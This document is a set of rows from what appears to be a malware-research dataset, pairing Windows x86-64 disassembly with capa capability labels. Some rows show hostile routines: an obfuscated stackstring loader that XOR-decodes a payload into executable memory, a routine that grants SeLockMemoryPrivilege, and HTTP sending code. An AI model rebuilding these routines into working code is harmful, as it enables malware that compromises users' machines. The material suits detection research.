joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140010460
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
cmp byte [0x140038019], 0
mov esi, edx
mov rbx, rcx
je 0x140010486
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
xor ecx, ecx
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ole32.dll_CoInitialize]
mov edi, eax
mov dword [rsp + 0x40], eax
test eax, eax
jns 0x1400104cc
cmp eax, 0x80010106
jne 0x14001052c
lea rcx, str.Mscoree.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1400104d0
mov eax, edi
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
mov byte [rbx + 0x62], 1
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rsp + 0x40]
mov rcx, rbx
mov rdx, rax
call fcn.14000f6f0
cmp al, 1
jne 0x14001051c
mov edx, esi
mov rcx, rbx
call fcn.14000fc50
mov edi, eax
test eax, eax
jne 0x14001050e
mov rcx, rbx
call fcn.14000fe60
mov rcx, rbx
call fcn.14000fac0
mov edi, eax
jmp 0x140010520
js 0x140010520
mov rcx, rbx
call fcn.14000fac0
mov edi, eax
jmp 0x140010520
mov edi, dword [rsp + 0x40]
cmp byte [rbx + 0x62], 0
je 0x14001052c
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rbx, qword [rsp + 0x38]
mov eax, edi
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rsi
ret

Function at 0x140010670
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
lea r8, str.HKAB32DBA6DDE1
xor ecx, ecx
lea edx, [rbx + 1]
mov esi, r9d
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400106c1
xor ecx, ecx
call fcn.14000f550
test al, al
je 0x1400106c1
lea rcx, [0x140038250]
mov edx, esi
call fcn.140010460
mov ebx, eax
test rdi, rdi
je 0x1400106cf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140002cc0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003eb0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003eb0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002d30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140002e60
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002d7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002e05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002d60
mov rcx, rbx
call fcn.140003780
mov rdi, rax
test rax, rax
je 0x140002e82
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400038c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002e67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002dfe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002e10
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002dfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002cc0
nop dword [rax]
xor esi, esi
jmp 0x140002d88
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002cc0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002cc0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400033f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000344c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003443
test rsi, rsi
je 0x140003443
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003428
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003780
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400069e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400037a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400037a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400037a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400037fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400037f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400037a0
add rax, 0x28
cmp rax, r9
jne 0x1400037e0
xor eax, eax
ret

Function at 0x140003800
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000381f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003828
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000381f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400038c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400038df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400038e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140004a10
Capabilities:
Clear file content

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0x18], 8
mov esi, r8d
mov ebp, edx
jb 0x140004a33
mov rcx, qword [rcx]
and qword [rsp + 0x30], 0
mov edi, 1
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
nop dword [rax + rax]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140004ab7
mov rdx, rbp
xor r9d, r9d
imul rdx, rsi
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
nop dword [rax + rax]
test eax, eax
je 0x140004aa0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
nop dword [rax + rax]
test eax, eax
jne 0x140004aa3
xor dil, dil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
mov al, dil
jmp 0x140004ab9
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14000c83c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov qword [rax - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rsi, rcx
xor r9d, r9d
call fcn.14000cb04
nop
lea rax, [0x140016b28]
mov qword [rsi], rax
or dword [rsi + 0x30], 0xffffffff
xor r14d, r14d
mov qword [rsp + 0x20], r14
lea rbx, [rsi + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x14000c88d
mov rcx, qword [rbx]
jmp 0x14000c890
mov rcx, rbx
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
nop dword [rax + rax]
mov ebp, eax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.1400070ac
nop
cmp qword [rbx + 0x18], 8
jb 0x14000c8cf
mov rcx, qword [rbx]
jmp 0x14000c8d2
mov rcx, rbx
lea r9, [rsp + 0x20]
mov rdi, qword [rsp + 0x30]
mov r8, rdi
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
nop dword [rax + rax]
test eax, eax
je 0x14000c917
cmp word [rdi], r14w
jne 0x14000c8fc
mov r8, r14
jmp 0x14000c90a
or r8, 0xffffffffffffffff
inc r8
cmp word [rdi + r8*2], r14w
jne 0x14000c900
mov rdx, rdi
mov rcx, rbx
call fcn.14000a150
jmp 0x14000c92e
mov qword [rbx + 0x10], r14
cmp qword [rbx + 0x18], 8
jb 0x14000c927
mov rax, qword [rbx]
jmp 0x14000c92a
mov rax, rbx
mov word [rax], r14w
cmp qword [rbx + 0x18], 8
jb 0x14000c93a
mov rcx, qword [rbx]
jmp 0x14000c93d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
nop dword [rax + rax]
mov dword [rsi + 0x30], eax
cmp eax, 0xffffffff
je 0x14000c983
test al, 0x10
je 0x14000c983
cmp qword [rbx + 0x18], 8
jb 0x14000c961
mov rcx, qword [rbx]
jmp 0x14000c964
mov rcx, rbx
mov rax, qword [rbx + 0x10]
mov r8d, 0x5c
cmp word [rcx + rax*2 - 2], r8w
je 0x14000c983
lea edx, [r8 - 0x5b]
mov rcx, rbx
call fcn.14000d114
nop
test rdi, rdi
je 0x14000c9a5
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_]
nop dword [rax + rax]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov rax, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140011118
Capabilities:
Encode data using xor

Disassembly:
push rbp
hlt
cdq
cmp bh, byte cs:[rsp + riz*4]
cmc
pop rdi
lodsd eax, dword [rsi]
out 0x5e, al
sbb bh, byte [0x1462420b3]
and eax, dword [rsi]
fcmovnb st(0), st(0)
imul dword [rdx]
sbb edi, dword [rax]
test dh, 0xb7
cdq
stc
xor al, 0xbd
jae 0x140011126
cwde
movabs al, byte [0x3c2e0d4113264c59]
js 0x1400110e0
int3
Function at 0x140012d9d
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140012dbb
je 0x140012dc6
call 0x140012e15
mov bl, 0xc7
lahf
pop rsi
jne 0x140012da6
call 0x140012dbe
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140012da6
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140012df4
je 0x140012e32
invalid
je 0x140012e43
jne 0x140012da6
lea rax, [0x140012ccc]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000ea2d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140012ee4
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140012f3d
je 0x140012f43
call 0x140012f34
fild qword [rdi - 0x7c]
jmp 0x174f4f6b6
jne 0x140012f06
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140012ec6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140012e15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140012dbb
je 0x140012dc6
call 0x140012e15
mov bl, 0xc7
lahf
pop rsi
jne 0x140012da6
call 0x140012dbe
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140012da6
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140012df4
je 0x140012e32
invalid
je 0x140012e43
jne 0x140012da6
lea rax, [0x140012ccc]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000ea2d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140012ee4
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140012f3d
je 0x140012f43
call 0x140012f34
fild qword [rdi - 0x7c]
jmp 0x174f4f6b6
jne 0x140012f06
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140012ec6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret

Function at 0x14001332c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140013378
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013370
cmp dword [rcx + 0x3c], edx
jl 0x140013370
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140013370
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140013378
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14002def4
Capabilities:
Manipulate user privileges

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
xor ebx, ebx
mov edi, ebx
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x28]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea esi, [rbx + 1]
cmp eax, esi
jne 0x14002dffa
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], ebx
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rbp + 0x20]
test r9d, r9d
je 0x14002df65
mov edx, r9d
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov r9d, dword [rbp + 0x20]
mov rdi, rax
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x20]
mov r8, rdi
mov qword [rsp + 0x20], rax
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test rdi, rdi
je 0x14002dffa
xor edx, edx
lea rcx, [rbp - 0x30]
lea r8d, [rdx + 0x30]
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x30]
mov r8d, 0xf0fff
lea rdx, [rbp - 0x30]
xor ecx, ecx
call sub.ADVAPI32.dll_LsaOpenPolicy
test eax, eax
jne 0x14002dfed
lea rdx, str.SeLockMemoryPrivilege
lea rcx, [rbp - 0x40]
call fcn.14002e0bc
mov rdx, qword [rdi]
lea r8, [rbp - 0x50]
mov rcx, qword [rbp + 0x30]
mov r9d, esi
movups xmm0, xmmword [rax]
movdqu xmmword [rbp - 0x50], xmm0
call sub.ADVAPI32.dll_LsaAddAccountRights
mov rcx, qword [rbp + 0x30]
test eax, eax
cmove ebx, esi
call sub.ADVAPI32.dll_LsaClose
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_LocalFree]
mov eax, ebx
jmp 0x14002dffc
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x14008dd88
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
cmp dword [0x1400b7724], ebx
jne 0x14008ddda
lea rcx, str.HWLOC_LIBXML
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
jne 0x14008ddbc
lea rcx, str.HWLOC_LIBXML_EXPORT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14008ddd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
test eax, eax
sete bl
mov dword [0x1400b7728], ebx
mov dword [0x1400b7724], 1
mov eax, dword [0x1400b7728]
add rsp, 0x20
pop rbx
ret

Function at 0x140090518
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x2c0]
mov edx, 1
mov dword [rcx + 0xb4], edx
mov rbx, rcx
mov rcx, rax
test rax, rax
je 0x140090557
cmp dword [rcx + 0x10], 0
jne 0x14009054e
cmp dword [rcx + 0x24], 0xffffffff
je 0x14009054e
and dword [rbx + 0xb4], 0
mov rcx, qword [rcx + 0x18]
test rcx, rcx
jne 0x14009053b
test byte [rbx + 0x20], 2
je 0x14009057b
mov dword [rbx + 0xb4], edx
jmp 0x14009057b
cmp dword [rax + 0x10], edx
jne 0x140090577
cmp dword [rax + 0x24], 0xffffffff
je 0x140090577
and dword [rbx + 0xb4], 0
mov rax, qword [rax + 0x18]
test rax, rax
jne 0x140090565
lea rcx, str.HWLOC_THISSYSTEM
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x1400905a1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rbx + 0xb4], eax
add rsp, 0x20
pop rbx
ret
Function at 0x140092640
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov dword [rcx + 0x29c], 1
xor esi, esi
cmp dword [rcx + 0x9c], 1
mov rbx, rcx
mov eax, dword [rcx + 0x29c]
cmove eax, esi
mov dword [rcx + 0x29c], eax
lea rcx, str.HWLOC_GROUPING
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140092699
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
test eax, eax
jne 0x140092699
mov dword [rbx + 0x29c], esi
cmp dword [rbx + 0x29c], esi
je 0x14009275b
mov qword [rbx + 0x2b8], 0x3dcccccd
lea rcx, str.HWLOC_GROUPING_ACCURACY
mov dword [rbx + 0x2a8], esi
mov dword [rbx + 0x2ac], 0x3c23d70a
mov dword [rbx + 0x2b0], 0x3ca3d70a
mov dword [rbx + 0x2b4], 0x3d4ccccd
mov dword [rbx + 0x2a4], 5
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
test rax, rax
jne 0x1400926ff
mov dword [rbx + 0x2a4], 1
jmp 0x140092734
lea rdx, [0x1400a8120]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140092734
mov rcx, rdi
mov dword [rbx + 0x2a4], 1
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movss dword [rbx + 0x2a8], xmm1
lea rcx, str.HWLOC_GROUPING_VERBOSE
mov dword [rbx + 0x2a0], esi
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14009275b
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rbx + 0x2a0], eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140093c10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
jmp qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
Function at 0x180001c90
Capabilities:
Send data
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rbx, rcx
lea rax, [0x180012030]
xor esi, esi
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x78], rsi
xor edx, edx
mov r8d, 0x400
call sub.msvcrt.dll_memset
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x80
call sub.msvcrt.dll_memset
mov edx, dword [0x1800123f0]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
test edx, edx
je 0x180001ed2
mov qword [rsp + 0x520], rdi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x528], r14
call fcn.180003db0
mov rcx, qword [rsp + 0x50]
lea r8, [0x180012034]
mov r9, rbx
mov edx, 0x400
call fcn.180001010
mov r9d, dword [0x180013380]
lea r8, [0x180012038]
mov edx, 0x80
lea rcx, [rbp - 0x70]
call fcn.180001010
lea rax, [rbp - 0x70]
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], sil
jne 0x180001d70
mov ecx, ntohl
call fcn.1800031e0
mov rcx, rax
lea r8, [rbp - 0x70]
mov eax, dword [0x1800123f0]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x28], eax
mov r9d, ebx
mov rax, qword [0x180012408]
mov qword [rsp + 0x20], rax
call fcn.1800034d0
mov rcx, qword [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x180001db6
mov r9, qword [rsp + 0x50]
mov edx, 0x400
test rax, rax
jne 0x180001de0
lea r8, [0x18001203c]
lea rcx, [rbp + 0x10]
call fcn.180001010
jmp 0x180001df5
mov qword [rsp + 0x20], rcx
lea r8, [0x180012040]
lea rcx, [rbp + 0x10]
call fcn.180001010
call fcn.180004290
mov ebx, esi
lea r14, [0x180012410]
mov ecx, 0x1b
call fcn.1800031e0
mov rcx, qword [0x180012400]
lea r8, [rbp + 0x10]
mov rdx, rax
mov qword [rsp + 0x38], r14
mov eax, dword [0x1800123f4]
xor r9d, r9d
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.180001bd0
mov rdx, qword [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], sil
jne 0x180001e55
mov eax, dword [rsp + 0x60]
mov rcx, rdi
mov r9, qword [rsp + 0x58]
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.180001fe0
mov rcx, rdi
test eax, eax
jne 0x180001ea1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x180001e03
jmp 0x180001ea7
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x1800123f0]
lea rcx, [rsp + 0x40]
call fcn.180003da0
mov dword [0x1800123f0], esi
call fcn.1800042b0
mov r14, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x520]
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180001fe0
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
mov dword [rax + 0x10], 0x100
lea r9, [rax + 0x10]
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x180002018
add rsp, 0x130
pop rbx
ret
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll_atoi
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x180002360
Capabilities:
Get file attributes

Disassembly:
